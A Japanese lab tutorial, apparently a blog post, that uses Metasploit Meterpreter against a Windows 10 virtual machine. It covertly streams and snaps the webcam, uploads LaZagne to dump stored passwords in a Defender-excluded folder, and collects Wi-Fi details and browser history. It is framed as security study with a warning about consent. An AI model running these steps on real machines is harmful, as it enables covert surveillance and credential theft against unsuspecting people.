Kali Linux2022.1 でハッキングラボをつくってみる 6　Windows10をハッキングする3 Metasploit 盗撮からブラウザ履歴の収集

# はじめに
この記事は、「ハッキング・ラボのつくりかた」(IPUSIRON著)のp.325-332を元にしています。
今回行うこと
- ターゲット端末のwebカメラで盗撮する
- laZagneでパスワードを探し出す
- Wifi情報を取得する
- ブラウザ履歴を収集する

:::note alert
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
:::
## ターゲット端末のwebカメラで盗撮する
KaliLinuxで、msfconsoleとは別に新規端末を立ち上げて、cheeseをインストール。
```
sudo apt install cheese
```
msfconsoleに戻り、`session <session_id>`コマンドで、任意のmeterpreterプロンプトに移る。

:::note
同書p.325では、ユーザー権限のMeterpreterプロンプトに変えるように推奨されているが、システム権限のmeterpreterプロンプトでも実行可能でした。ただ、同書の注釈にもあるとおり、"Access is denied"でエラーが発生する可能性もあります。
ちなみに、システム権限で後述の`webcam_list`コマンドを実行したときに、WindowsDefenderが脅威を検出しました。
:::

盗撮したいパソコンにwebカメラが接続されているかどうかを調べる。次のコマンドを実行
```:meterpreter >
webcam_list
```

何かしらの出力があるなら、そのパソコンにはウェブカメラが接続されている。

次のコマンドを実行して、webカメラのストリーム映像を取得
```:meterpreter >
webcam_stream
```
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_27_04_2022_webcamstream.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/b1e7dc09-19fa-cdc7-5491-167f0801918e.png)
htmlファイルが作成されると同時に、Firefoxが起動してストリーム映像が流れる。
ストリームを中止する場合は、Meterpreterプロンプト上でCTRL+Cを押下して、強制的に終了させる。

次は、webカメラで写真を撮影してKaliLinux上に保存する。
```:meterpreter >
webcam_snap
```
撮影、保存が無事完了した。
![VirtualBox_kali-linux-2022.1webcam_snap.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/c304eaf4-5595-ebd4-9715-8b495c47eb4b.png)

※仮想マシンでwebカメラを用いるときには、Extension Packをインストールしないといけない。

## LaZagneでパスワードを探し出す
Windowsに格納されているパスワードを探し出す。
そのために、laZagneというツールを使う。(同書p.328)
[Release - AlessandroZ/LaZagne - Github](https://github.com/AlessandroZ/LaZagne/releases)
最新版の2.4.3をダウンロードする。
ダウンロードしたファイルを、msfconsoleを立ち上げたディレクトリ(端末のデフォルト状態でmsfconsoleを立ち上げたとするなら/home/kali)にコピーする。

ユーザー権限のmeterpreterプロンプトに移動して、meterpreterプロンプト上で次のコマンドを実行する。`upload`コマンドで、lazagne.exeをWindowsのTempフォルダに転送する。
```:meterpreter >
cd %Temp%
pwd
upload lazagne.exe
shell
```
Windowsのシェルを起動した後は、次のように実行する。
```shell:shell
lazagne.exe
lazagne.exe all
```

筆者の環境では、Downloadsフォルダにlazagne.exeを転送すると、Defenderに検知されるので、スキャンの除外を指定しておいた"<ユーザー名>\AppDate\Local\Temp"に同じファイルを転送した。


また、ユーザー権限上では、これといった情報が収集できなかったので（wifiのパスワードもとれなかった）、システム権限でも同様のことをおこなった。

**システム権限のあるセッションでshellを実行、lazagne.exeを"C:\Windows"に配置した状態で行った結果**
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_27_04_2022_16_52_34.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/9ad22137-5c95-93d1-804d-3a16d0f64aed.png)

結果は、エラーを出して失敗した。

## Wifi情報を取得する
"post/windows/wlan/wlan_current_connection"を使用して、Wifi情報を取得してみる。
msfconsole上で、次のコマンドを実行する。
```:msf >
use post/windows/wlan/wlan_current_connection
show options
set session <システム権限のあるセッションのセッションID>
run
```
現在、Windows10が接続しているWifiの情報が確認できた。
![VirtualBox_kali-linux-2022.1Wifi情報.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/7b9bd954-f9b6-5e3b-7b3d-793c5596df20.png)

## ブラウザ履歴を収集する
"post/windows/gather/forensics/browser_history"を使用して、ブラウザの履歴を収集する。
msfconsole上で、次のコマンドを実行する。
``` :msf >
use post/windows/gather/forensics/browser_history
show options
set session <ユーザー権限のあるセッションのセッションID>
run
```
収集したブラウザの履歴は、sqliteファイルとして"/home/kali/.msf4/local/"ディレクトリに保管される。

# 終わりに
LaZagneの最終更新が2019年9月となっており、最新のWindowws10上での動作が思ったとおりにいかなかった可能性がある。